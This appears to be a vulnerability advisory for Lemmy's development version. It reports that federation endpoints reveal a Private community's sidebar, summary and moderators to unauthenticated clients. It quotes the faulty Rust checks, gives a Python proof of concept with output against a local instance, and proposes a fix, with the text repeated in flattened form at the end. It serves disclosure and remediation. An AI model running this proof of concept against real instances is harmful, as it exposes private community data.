NOTE: Only affects development version.
Summary
The federation HTTP endpoints for a community profile, moderators list,
and tags accept any unauthenticated remote client even when the community
has visibility = Private. This is the federation-HTTP analogue of
GHSA-95q8-x6r6-672m; that advisory's patch only covered CommunityView.
Details
crates/apub/apub/src/http/mod.rs:117-122:
fn check_community_fetchable(community: &Community) -> LemmyResult<()> {
if !community.visibility.can_federate() {
return Err(LemmyErrorType::NotFound.into());
}
Ok(())
}
And crates/db_schema_file/src/enums.rs:143-152:
impl CommunityVisibility {
pub fn can_federate(&self) -> bool {
self != &LocalOnlyPublic && self != &LocalOnlyPrivate
}
pub fn can_view_without_login(&self) -> bool {
self == &Public || self == &LocalOnlyPublic
}
}
Private.can_federate() == true, so check_community_fetchable accepts
Private. The endpoints affected are:
get_apub_community_http (http/community.rs:55) — Group profile
(title, sidebar, summary, banner, public key).
get_apub_community_moderators (http/community.rs:148) — moderators
collection.
get_apub_community_tag_http (http/community.rs:217) — community
tags.
Only the outbox / featured / followers endpoints route through
check_community_content_fetchable, which requires a signed fetch from
an approved follower's instance.
PoC
"""M-1 PoC: Private community profile / moderators leak via federation HTTP."""
import random, string, requests
BASE = "http://127.0.0.1:8536"
def req(method, path, token=None, params=None, **body):
headers = {"Authorization": "Bearer " + token} if token else {}
return requests.request(method, BASE + "/api/v4" + path,
headers=headers, params=params, json=body or None)
def show(label, response, marker):
text = response.text
print(f"\n{label}: HTTP {response.status_code}")
print(text[:600])
print("contains marker:", marker in text)
suffix = "poc" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
secret = "SECRET_" + suffix
admin = req("POST", "/account/auth/login",
username_or_email="lemmy", password="lemmylemmy").json()["jwt"]
community = req("POST", "/community", admin,
name="priv" + suffix,
title="Private " + suffix,
sidebar=secret + " sidebar",
description=secret + " description",
visibility="private",
).json()["community_view"]["community"]
print("created private community:", community["name"],
"visibility:", community["visibility"])
ap = {"Accept": "application/activity+json"}
show("Unauthenticated AP fetch of /c/<name>",
requests.get(f"{BASE}/c/{community['name']}", headers=ap), secret)
show("Unauthenticated AP fetch of /c/<name>/moderators",
requests.get(f"{BASE}/c/{community['name']}/moderators", headers=ap), secret)
# Control: in-app API view DOES gate Private communities.
api_unauth = requests.get(f"{BASE}/api/v4/community",
params={"name": community["name"]})
print(f"\nControl: /api/v4/community unauth -> HTTP {api_unauth.status_code}")
print("contains marker:", secret in api_unauth.text)
Observed output:
Unauthenticated AP fetch of /c/<name>: HTTP 200
{ ..., "summary": "SECRET_pocejghxp sidebar", ... }
contains marker: True
Unauthenticated AP fetch of /c/<name>/moderators: HTTP 200
{ "type": "OrderedCollection", "orderedItems": ["http://localhost/u/lemmy"] }
Control: /api/v4/community unauthenticated -> HTTP 404
Impact
Disclosure of Private community metadata (sidebar, summary, banner,
moderators list) to anyone with the community URL, bypassing the approval
workflow that gates the in-app API view.
Fix
Route the affected endpoints through check_community_content_fetchable
for Private communities, or replace can_federate() with
can_view_without_login() in the unauthenticated profile/moderators
handlers and require signed-fetch otherwise.
NOTE: Only affects development version.
Summary
The federation HTTP endpoints for a community profile, moderators list,
and tags accept any unauthenticated remote client even when the community
has
visibility = Private. This is the federation-HTTP analogue ofGHSA-95q8-x6r6-672m; that advisory's patch only covered
CommunityView.Details
crates/apub/apub/src/http/mod.rs:117-122:And
crates/db_schema_file/src/enums.rs:143-152:Private.can_federate() == true, socheck_community_fetchableacceptsPrivate. The endpoints affected are:get_apub_community_http(http/community.rs:55) — Group profile(title, sidebar, summary, banner, public key).
get_apub_community_moderators(http/community.rs:148) — moderatorscollection.
get_apub_community_tag_http(http/community.rs:217) — communitytags.
Only the outbox / featured / followers endpoints route through
check_community_content_fetchable, which requires a signed fetch froman approved follower's instance.
PoC
Observed output:
Impact
Disclosure of Private community metadata (sidebar, summary, banner,
moderators list) to anyone with the community URL, bypassing the approval
workflow that gates the in-app API view.
Fix
Route the affected endpoints through
check_community_content_fetchablefor Private communities, or replace
can_federate()withcan_view_without_login()in the unauthenticated profile/moderatorshandlers and require signed-fetch otherwise.